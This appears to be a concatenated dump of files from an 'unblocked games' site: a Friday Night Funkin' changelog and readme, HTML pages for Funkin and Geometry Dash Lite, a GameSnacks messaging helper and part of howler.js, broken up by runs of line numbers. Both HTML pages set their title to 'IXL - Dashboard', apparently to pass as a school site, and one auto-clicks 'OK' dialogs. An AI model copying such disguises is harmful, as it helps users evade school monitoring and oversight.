## [0.2.6] - 2021-01-20### Added- 3 NEW CHRISTMAS SONGS. 2 BY KAWAISPRITE, 1 BY BASSETFILMS!!!!! BF WITH DRIP! SANTA HANGIN OUT!- Enemy icons change when they you are winning a lot ([Thanks to pahaze for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/138))- Holding CTRL in charting editor places notes on both sides- Q and E changes sustain lengths in note editor- Other charting editor workflow improvements- More hair physics- Heads appear at top of chart editor to help show which side ur charting for### Changed- Tweaked code relating to inputs, hopefully making notes that are close together more fair to hit### Removed- Removed APE### Fixed- Maybe fixed double notes / jump notes. Need to tweak it for balance, but should open things up for cooler charts in the future.- Old Verison popup screen weirdness ([Thanks to gedehari for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/155))- Song no longer loops when finishing the song. ([Thanks Injourn for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/132))- Screen wipe being cut off in the limo/mom stage. Should fill the whole screen now.- Boyfriend animations on hold notes, and pressing on repeating notes should behave differently
## [0.2.5] - 2020-12-27### Added- MOMMY GF, 3 NEW ASS SONGS BY KAWAISPRITE, NEW ART BY PHANTOMARCADE,WOOOOOOAH!!!!- Different icons depending on which character you are against, art by EVILSK8R!!- Autosave to chart editor- Clear section button to note editor- Swap button in note editor- a new boot text or two- automatic check for when you're on an old version of the game!### Changed- Made Spookeez on Normal easier.- Mouse is now visible in note editor### Fixed- Crash when playing Week 3 and then playing a non-week 3 song- When pausing music at the start, it doesn't continue the song anyways. ([shoutouts gedehari for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/48))- IDK i think backing out of song menu should play main menu songs again hehe ([shoutouts gedehari for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/48))
## [0.2.4] - 2020-12-11### Added- 3 NEW SONGS BY KAWAISPRITE. Pico, Philly, and Blammed.- NEW CHARACTER, PICO. Based off the classic Flash game "Pico's School" by Tom Fulp- NEW LEVEL WOW! PHILLY BABEEEE### Changed- Made it less punishing to ATTEMPT to hit a note and miss, rather than let it pass you### Fixed- Song desync of you paused and unpaused frequently ([shoutouts SonicBlam](https://github.com/ninjamuffin99/Funkin/issues/37))- Animation offsets when GF is scared
## [0.2.3] - 2020-12-04### Added- More intro texts### Fixed- Exploit where you could potentially give yourself a high score via the debug menu- Issue/bug where you could spam the confirm button on the story menu ([shoutouts lotusotho for the CODE contribution/pull request!](https://github.com/ninjamuffin99/Funkin/pull/19))- Glitch where if you never would lose health if you missed a note on a fast song (shoutouts [MrDulfin](https://github.com/ninjamuffin99/Funkin/issues/10), [HotSauceBurritos](https://github.com/ninjamuffin99/Funkin/issues/13) and [LobsterMango](https://lobstermango.newgrounds.com))- Fixed tiny note bleed over thingies (shoutouts [lotusotho](https://github.com/ninjamuffin99/Funkin/pull/24))
## [0.2.2] - 2020-11-20### Added- Music playing on the freeplay menu.- UI sounds on freeplay menu- Score now shows mid-song.- Menu on pause screen! Can resume, and restart song, or go back to main menu.- New music made for pause menu!
### Changed- Moved all the intro texts to its own txt file instead of being hardcoded, this allows for much easier customization. File is in the data folder, called "introText.txt", follow the format in there and you're probably good to go!### Fixed- Fixed soft lock when pausing on song finish ([shoutouts gedehari](https://github.com/ninjamuffin99/Funkin/issues/15))- Think I fixed issue that led to in-game scores being off by 2 ([shoutouts Mike](https://github.com/ninjamuffin99/Funkin/issues/4))- Should have fixed the 1 frame note appearance thing. ([shoutouts Mike](https://github.com/ninjamuffin99/Funkin/issues/6))- Cleaned up some charting on South on hard mode- Fixed some animation timings, should feel both better to play, and watch. (shoutouts Dave/Ivan lol)- Animation issue where GF would freak out on the title screen if you returned to it([shoutouts MultiXIII](https://github.com/ninjamuffin99/Funkin/issues/12)).
## [0.2.1.2] - 2020-11-06### Fixed- Story mode scores not properly resetting, leading to VERY inflated highscores on the leaderboards. This also requires me to clear the scores that are on the leaderboard right now, sorry!- Difficulty on storymode and in freeplay scores- Hard mode difficulty on campaign levels have been fixed
## [0.2.1.1] - 2020-11-06### Fixed- Week 2 not unlocking properly
## [0.2.1] - 2020-11-06### Added- Scores to the freeplay menu- A few new intro boot messages.- Lightning effect in Spooky stages- Campaign scores, can now compete on scoreboards for campaign!- Can now change difficulties in Freeplay mode
### Changed- Balanced out Normal mode for the harder songs(Dadbattle and Spookeez, not South yet). Should be much easier all around.- Put tutorial in it's own 'week', so that if you want to play week 1, you don't have to play the tutorial.
### Fixed- One of the charting bits on South and Spookeez during the intro.
## [0.2.0] - 2020-11-01### Added- Uhh Newgrounds release lolol I always lose track of shit.
## [0.1.0] - 2020-10-05### Added- Uh, everything. This the game's initial gamejam release. We put it out12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697 __ / / _ _ |_ |_ . _ \__) (- |_ |_ | | ) __ |_ _ _ _ | | | (- (_| |( \/ / _ _ _ (_) | ) (_| __ |_ _ . _| _ _ . _ |_ |_ _ _ |_ | | | (_| (_| \/ | ) | (_) | ) |_ \/ (- (_| | ) / _/ /
FRIDAY NIGHT FUNKIN IS A GAME AND IT IS MID-DEVELOPMENT!!!PLAY AT YOUR OWN RISK LOL!WE ARE UPDATING SOMEWHAT REGULARLY!!BUT THE GAME IS ACTIVELY BEING DEVELOPED!
HEYThanks for downloadin Friday Night FUNKIN'If you downloaded this from any other place than ninja-muffin24.itch.io/FUNKINYou might be in DANGER!!!
The Itch.io release is the only official source for the desktop (PC, Mac, Linux) versions of the game!As of right now, the game is FREE! If you paid for it, you got SCAMMED!
Now that that's out of the way....THANKS FOR DOWNLOADIN.
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- PERMISSIONS XDDDD#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
Little info, you have FULL PERMISSION to stream, letsplay, meme, shitpost, do WHATEVER you want with the game.Use the music in videos you do, use art, ANYTHING. GO CRAZY BRO.
If you do make any sort of video, it would be a bro move if you linked the game and spread the word
Play On Newgrounds - https://www.newgrounds.com/portal/view/770371Support on Itch.io - https://ninja-muffin24.itch.io/funkin
If not no biggie we don't fully hate you only kinda no biggie.
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- INFO AND LINKS#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
If you wanna dig around, the game is fully open source on Githubhttps://github.com/ninjamuffin99/Funkin
It's made in Haxe / HaxeFlixel
MUSIC IS ON SPOTIFY AND BANDCAMP AND EVERYWHERE ELSE PROB TOOhttps://kawaisprite.bandcamp.com/album/friday-night-funkin-ost-vol-1
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- FINAL WORDS / CREDITS#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
Friday Night Funkin' is made by ninjamuffin99 (programmer), PhantomArcade (animator), kawaisprite (musician), and evilsk8r (artist)
https://twitter.com/ninja_muffin99https://twitter.com/phantomarcade3khttps://twitter.com/kawaispritehttps://twitter.com/evilsk8r
Pico is created by Tom FulpSkid and Pump are created by SrPeloBassetFilms did music for lemon monster songs
Final important thing, this is made with the support and love to and from Newgrounds.com.Go to newgrounds, we love newgrounds. newgrounds good. How many times do I gotta damn say it. Newgrounds newgrounds newgrounds newgroundsI love Tom Fulp.
- Cameron ♪(´▽`)
################################################################################## _ _ _____ _ _ ____ ____ ___ _ _ _ _ ____ ____ | \ | | | ____| | | | | / ___| | _ \ / _ \ | | | | | \ | | | _ \ / ___| | \| | | _| | | /\ | | | | _ | |_) | | | | | | | | | | \| | | | | | \___ \ | |\ | | |___ \ V V / | |_| | | _ < | |_| | | |_| | | |\ | | |_| | ___) ||_| \_| |_____| \_/\_/ \____| |_| \_\ \___/ \___/ |_| \_| |____/ |____/ _ _ _ ___ ___ __ _ _ _ _ _ |_ | | |_ |_) \_/ | |_| | |\ | /__ |_ |_ | | |_ |_) \_/ / \ |\ | |_ |_ \/ |_ | \ | | | | _|_ | \| \_| o |_)\/ |_ \/ |_ | \ | \_/ | \| |_ o / / ##################################################################################i stole this from stamper.123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175<!DOCTYPE html><html lang="en"><head> <script src="/js/all.min.js"></script> <meta charset="utf-8"> <title>IXL - Dashboard</title> <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <meta name="apple-mobile-web-app-capable" content="yes"> <link rel="shortcut icon" type="image/png" href="./favicon.png"> <script type="text/javascript" src="./Funkin.js"></script> <script> window.addEventListener ("touchmove", function (event) { event.preventDefault (); }, { capture: false, passive: false }); if (typeof window.devicePixelRatio != 'undefined' && window.devicePixelRatio > 2) { var meta = document.getElementById ("viewport"); meta.setAttribute ('content', 'width=device-width, initial-scale=' + (2 / window.devicePixelRatio) + ', user-scalable=no'); } </script> <style> html,body { margin: 0; padding: 0; height: 100%; overflow: hidden; } #openfl-content { background: #000000; width: 100%; height: 100%; } @font-face { font-family: '5by7'; src: url('assets/fonts/5by7.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: '5by7 Bold'; src: url('assets/fonts/5by7_b.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'DS-Digital'; src: url('assets/fonts/DS-DIGI.TTF') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'DS-Digital Bold'; src: url('assets/fonts/DS-DIGIB.TTF') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'DS-Digital Italic'; src: url('assets/fonts/DS-DIGII.TTF') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'DS-Digital Bold Italic'; src: url('assets/fonts/DS-DIGIT.TTF') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata Black'; src: url('assets/fonts/Inconsolata-Black.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata Bold'; src: url('assets/fonts/Inconsolata-Bold.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata ExtraBold'; src: url('assets/fonts/Inconsolata-ExtraBold.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata ExtraLight'; src: url('assets/fonts/Inconsolata-ExtraLight.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata Medium'; src: url('assets/fonts/Inconsolata-Medium.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata Regular'; src: url('assets/fonts/Inconsolata-Regular.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Inconsolata SemiBold'; src: url('assets/fonts/Inconsolata-SemiBold.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Pixel Arial 11 Bold'; src: url('assets/fonts/pixel.otf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Quantico-Bold'; src: url('assets/fonts/Quantico-Bold.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Quantico-BoldItalic'; src: url('assets/fonts/Quantico-BoldItalic.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Quantico-Italic'; src: url('assets/fonts/Quantico-Italic.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Quantico'; src: url('assets/fonts/Quantico-Regular.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'VCR OSD Mono'; src: url('assets/fonts/vcr.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Nokia Cellphone FC Small'; src: url('flixel/fonts/nokiafc22.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Monsterrat'; src: url('flixel/fonts/monsterrat.ttf') format('truetype'); font-weight: normal; font-style: normal; }
</style> </head><body>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<noscript>This webpage makes extensive use of JavaScript. Please enable JavaScript in your web browser to view this page.</noscript> <div id="openfl-content"></div> <script type="text/javascript"> lime.embed ("Funkin", "openfl-content", 1280, 720, { parameters: {} }); </script> </body></html>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687const GAMESNACKS = { audioEnabled: true, audioSubscribers: [], ghostDataSubscriber: null, gameReady: () => { parent.postMessage(JSON.stringify({ type: "gameReady", value: true }), "*"); } , sendScore: (score, scoreMetadata={}) => { parent.postMessage(JSON.stringify({ score, scoreMetadata }), "*"); } , gameOver: () => { parent.postMessage(JSON.stringify({ type: "gameOver", value: true }), "*"); } , isAudioEnabled: function() { this.notifyGamesnacksOfAudioApiUsage(); return this.audioEnabled; }, subscribeToAudioUpdates: function(audioUpdateCallback) { this.notifyGamesnacksOfAudioApiUsage(); this.audioSubscribers.push(audioUpdateCallback) }, notifyGamesnacksOfAudioApiUsage: function(audioUpdateCallback) { parent.postMessage(JSON.stringify({ type: "GAMESNACKS_AUDIO_SUBCRIPTION", value: true }), "*"); }, listenForAudioUpdates: function() { var _self = this; window.addEventListener("message", function(event) { _self.handleAudioUpdates(event); }, false); }, handleAudioUpdates: function(event) { if (!event || !event.data || event.data.type !== "GAMESNACKS_AUDIO_UPDATE") { return; } var updatedIsAudioEnabled = event.data.isAudioEnabled; if (typeof updatedIsAudioEnabled !== "boolean") { return; } this.audioEnabled = updatedIsAudioEnabled; this.updateAudioSubscribers(); }, updateAudioSubscribers: function() { this.audioSubscribers.forEach( (subscriber) => { subscriber(this.audioEnabled); } ); }, _subscribeToGhostData: function(receiveGhostDataCallback) { this.ghostDataSubscriber = receiveGhostDataCallback; var _self = this; window.addEventListener("message", function(event) { if (!event || !event.data || event.data.type !== "GAMESNACKS_RECEIVE_GHOST_DATA") { return; } _self.ghostDataSubscriber(event.data.value); }, false); parent.postMessage(JSON.stringify({ type: "GAMESNACKS_SUBSCRIBE_TO_GHOST_DATA", value: true }), "*"); }, _gameOverWithGhost: function(ghost) { parent.postMessage(JSON.stringify({ type: "GAMESNACKS_GAME_OVER_WITH_GHOST", value: ghost }), "*"); }};GAMESNACKS.listenForAudioUpdates();if (typeof module === "object") { module.exports = GAMESNACKS;}123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260<!DOCTYPE html><html lang="en-US">
<head> <title>IXL - Dashboard</title> <link rel="icon" type="image/png" href="https://e3334afd.cf-nate.pages.dev/0/g/geodash/game/splash.png"> <meta name="description" content="Play Geometry Dash Lite Online For Free on Chromebook, PC, Windows, Desktop in Chrome and modern browsers."> <link rel="canonical" href="https://gamecomets.com/game/geometry-dash-lite/" /> <meta name="robots" content="noindex, nofollow"> <meta charset="utf-8"> <script src="/js/all.min.jsn.jsn.jsn.jsn.js"></script> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="themes/geometrydashlite.io/rs/css/home.css?v=1"></head><meta name="cf-2fa-verify" content="GpoihhhSRQknehLQkEtXM">
<body>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<style> html { box-sizing: border-box; } *, *:before, *:after { box-sizing: inherit; } body { margin: 0; background-image: linear-gradient(rgb(0, 0, 0), rgb(0, 102, 255)); overflow: hidden; } #gameContainer { width: 100vw; height: 100vh; } canvas { width: 100%; height: 100%; display: block; } canvas+* { z-index: 2; } .container { max-width: 1600px; position: relative; } .posImg { position: absolute; top: 0; width: 100%; height: 100%; } .logo { position: absolute; display: block; max-width: 100vw; max-height: 70vh; top: 300px; } .pos_progress { position: absolute; bottom: 15%; width: 100%; } .progress { margin: 1.5em auto; max-width: 436px; height: auto; display: none; position: relative; } .full { width: 97%; transform-origin: top left; } .box_process { width: 100%; } .process { width: 98%; } .progress .posfull, .progress .posbox { position: absolute; display: flex; align-items: center; justify-content: center; } .progress .posfull { top: 8px; z-index: 1; } .progress .posbox { top: 0; z-index: 2; } #loader { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; flex-direction: column; align-items: center; justify-content: center; background-image: linear-gradient(rgb(0, 0, 0), rgb(0, 102, 255)); } .pos_spinner { position: absolute; top: 70%; left: 50%; transform: translate(-30%, -50%); } .spinner, .spinner:after { display: none; border-radius: 50%; width: 5em; height: 5em; } .spinner { margin: 10px; font-size: 10px; position: relative; text-indent: -9999em; border-top: 1.1em solid rgba(255, 255, 255, 0.2); border-right: 1.1em solid rgba(255, 255, 255, 0.2); border-bottom: 1.1em solid rgba(255, 255, 255, 0.2); border-left: 1.1em solid #ffffff; transform: translateZ(0); animation: spinner-spin 1.1s infinite linear; } @keyframes spinner-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <div id="gameContainer"></div> <div id="loader"><img class="logo" src="image/loading.png?v=1"> <div class="spinner"></div> <div class=" pos_progress"> <div class="progress"> <div class="posfull"><img class="full" src="image/process_bar_back.png"></div> <div class="posbox"><img class="box_process" src="image/process_bar_front.png"></div> </div> </div> <script src="Build/UnityLoader.js"></script> <script> var gameInstance = UnityLoader.instantiate("gameContainer", "Build/GeometryDashLite.json", { onProgress: UnityProgress });
function UnityProgress(gameInstance, progress) { if (!gameInstance.Module) { return; } const loader = document.querySelector("#loader"); if (!gameInstance.progress) { const progress = document.querySelector("#loader .progress"); progress.style.display = "block"; gameInstance.progress = progress.querySelector(".full"); loader.querySelector(".spinner").style.display = "none"; } gameInstance.progress.style.transform = `scaleX(${progress})`; if (progress === 1 && !gameInstance.removeTimeout) { gameInstance.removeTimeout = setTimeout(function() { loader.style.display = "none"; }, 2000); } } </script> <script> document.addEventListener('DOMContentLoaded', function() { let buttondiv = document.getElementsByTagName('button'); for (let i = 0; i < buttondiv.length; i++) { if (buttondiv[i].innerHTML == "OK") { buttondiv[i].click(); } } setTimeout(function() { let buttonok = document.getElementsByTagName('button'); for (let i = 0; i < buttondiv.length; i++) { if (buttonok[i].innerHTML == "OK") { buttonok[i].click(); } } }, 1000); }); </script> <script src="themes/geometrydashlite.io/rs/js/jquery-3.4.1.min.js"></script> <script> function ToggleInfo() { if ($('button.hide-main-panel').children('i')[0].textContent != 'Info') { $("div.main-panel").css('width', '0px'); $("div.main-panel-ads").css('display', 'none'); $("div.main-panel-content").css('display', 'none'); $('button.hide-main-panel').children('i').html('Info'); console.log('Info'); } else { $("div.main-panel").css('width', $("div.main-panel").css('max-width')); $("div.main-panel-ads").css('display', 'block'); $("div.main-panel-content").css('display', 'block'); $('button.hide-main-panel').children('i').html('>>'); console.log('>>'); } }
function ShowInfo() { $("div.main-panel").css('width', $("div.main-panel").css('max-width')); $("div.main-panel-ads").css('display', 'block'); $("div.main-panel-content").css('display', 'block'); $('button.hide-main-panel').children('i').html('>>'); }
function HideInfo() { $("div.main-panel").css('width', '0px'); $("div.main-panel-ads").css('display', 'none'); $("div.main-panel-content").css('display', 'none'); $('button.hide-main-panel').children('i').html('Info'); } $('button.hide-main-panel').click(function() { console.log('a'); ToggleInfo(); }); </script></body>
</html>1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566/*! * howler.js v2.2.1 * howlerjs.com * * (c) 2013-2020, James Simpson of GoldFire Studios * goldfirestudios.com * * MIT License */
(function() {
'use strict';
/** Global Methods **/ /***************************************************************************/
/** * Create the global controller. All contained methods and properties apply * to all sounds that are currently playing or will be in the future. */ var HowlerGlobal = function() { this.init(); }; HowlerGlobal.prototype = { /** * Initialize the global Howler object. * @return {Howler} */ init: function() { var self = this || Howler;
// Create a global ID counter. self._counter = 1000;
// Pool of unlocked HTML5 Audio objects. self._html5AudioPool = []; self.html5PoolSize = 10;
// Internal properties. self._codecs = {}; self._howls = []; self._muted = false; self._volume = 1; self._canPlayEvent = 'canplaythrough'; self._navigator = (typeof window !== 'undefined' && window.navigator) ? window.navigator : null;
// Public properties. self.masterGain = null; self.noAudio = false; self.usingWebAudio = true; self.autoSuspend = true; self.ctx = null;
// Set to false to disable the auto audio unlocker. self.autoUnlock = true;
// Setup the various state values for global tracking. self._setup();
return self; },
/** * Get/set the global volume for all sounds. * @param {Float} vol Volume from 0.0 to 1.0. * @return {Howler/Float} Returns self or current volume. */ volume: function(vol) { var self = this || Howler; vol = parseFloat(vol);
// If we don't have an AudioContext created yet, run the setup. if (!self.ctx) { setupAudioContext(); }
if (typeof vol !== 'undefined' && vol >= 0 && vol <= 1) { self._volume = vol;
// Don't update any of the nodes if we are muted. if (self._muted) { return self; }
// When using Web Audio, we just need to adjust the master gain. if (self.usingWebAudio) { self.masterGain.gain.setValueAtTime(vol, Howler.ctx.currentTime); }
// Loop through and change volume for all HTML5 audio nodes. for (var i=0; i<self._howls.length; i++) { if (!self._howls[i]._webAudio) { // Get all of the sounds in this Howl group. var ids = self._howls[i]._getSoundIds();
// Loop through all sounds and change the volumes. for (var j=0; j<ids.length; j++) { var sound = self._howls[i]._soundById(ids[j]);
if (sound && sound._node) { sound._node.volume = sound._volume * vol; } } } }
return self; }
return self._volume; },
/** * Handle muting and unmuting globally. * @param {Boolean} muted Is muted or not. */ mute: function(muted) { var self = this || Howler;
// If we don't have an AudioContext created yet, run the setup. if (!self.ctx) { setupAudioContext(); }
self._muted = muted;
// With Web Audio, we just need to mute the master gain. if (self.usingWebAudio) { self.masterGain.gain.setValueAtTime(muted ? 0 : self._volume, Howler.ctx.currentTime); }
// Loop through and mute all HTML5 Audio nodes. for (var i=0; i<self._howls.length; i++) { if (!self._howls[i]._webAudio) { // Get all of the sounds in this Howl group. var ids = self._howls[i]._getSoundIds();
// Loop through all sounds and mark the audio node as muted. for (var j=0; j<ids.length; j++) { var sound = self._howls[i]._soundById(ids[j]);
if (sound && sound._node) { sound._node.muted = (muted) ? true : sound._muted; } } } }
return self; },
/** * Handle stopping all sounds globally. */ stop: function() { var self = this || Howler;
// Loop through all Howls and stop them. for (var i=0; i<self._howls.length; i++) { self._howls[i].stop(); }
return self; },
/** * Unload and destroy all currently loaded Howl objects. * @return {Howler} */ unload: function() { var self = this || Howler;
for (var i=self._howls.length-1; i>=0; i--) { self._howls[i].unload(); }
// Create a new AudioContext to make sure it is fully reset. if (self.usingWebAudio && self.ctx && typeof self.ctx.close !== 'undefined') { self.ctx.close(); self.ctx = null; setupAudioContext(); }
return self; },
/** * Check for codec support of specific extension. * @param {String} ext Audio file extention. * @return {Boolean} */ codecs: function(ext) { return (this || Howler)._codecs[ext.replace(/^x-/, '')]; },
/** * Setup various state values for global tracking. * @return {Howler} */ _setup: function() { var self = this || Howler;
// Keeps track of the suspend/resume state of the AudioContext. self.state = self.ctx ? self.ctx.state || 'suspended' : 'suspended';
// Automatically begin the 30-second suspend process self._autoSuspend();
